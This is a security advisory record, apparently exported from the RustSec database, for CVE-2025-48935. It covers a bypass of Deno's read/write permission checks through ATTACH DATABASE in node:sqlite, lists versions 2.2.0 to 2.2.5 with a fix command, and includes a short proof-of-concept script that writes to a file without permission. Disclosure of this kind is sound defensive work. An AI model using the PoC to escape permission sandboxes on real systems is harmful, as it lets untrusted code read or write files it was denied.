deno
Affected
- introduced
2.2.0, fixed2.2.5(semver)
Fixed versions
2.2.5
Fix
- Fixed version
2.2.5cargo update -p deno --precise 2.2.5
Advisory
Also known as: CVE-2025-48935, GHSA-8vxj-4cph-c596
--allow-read / --allow-write permission bypass in node:sqlite
It is possible to bypass Deno's read/write permission
checks by using ATTACH DATABASE statement.
PoC
// poc.js
import { DatabaseSync } from "node:sqlite"
const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");
db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.jsNot rated by the source.
2.2.0, fixed 2.2.5 (semver)2.2.5
2.2.5cargo update -p deno --precise 2.2.5Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: RustSec Advisory Database · CC BY 4.0
This record names its own licence, CC BY 4.0, which differs from the source's (CC0-1.0).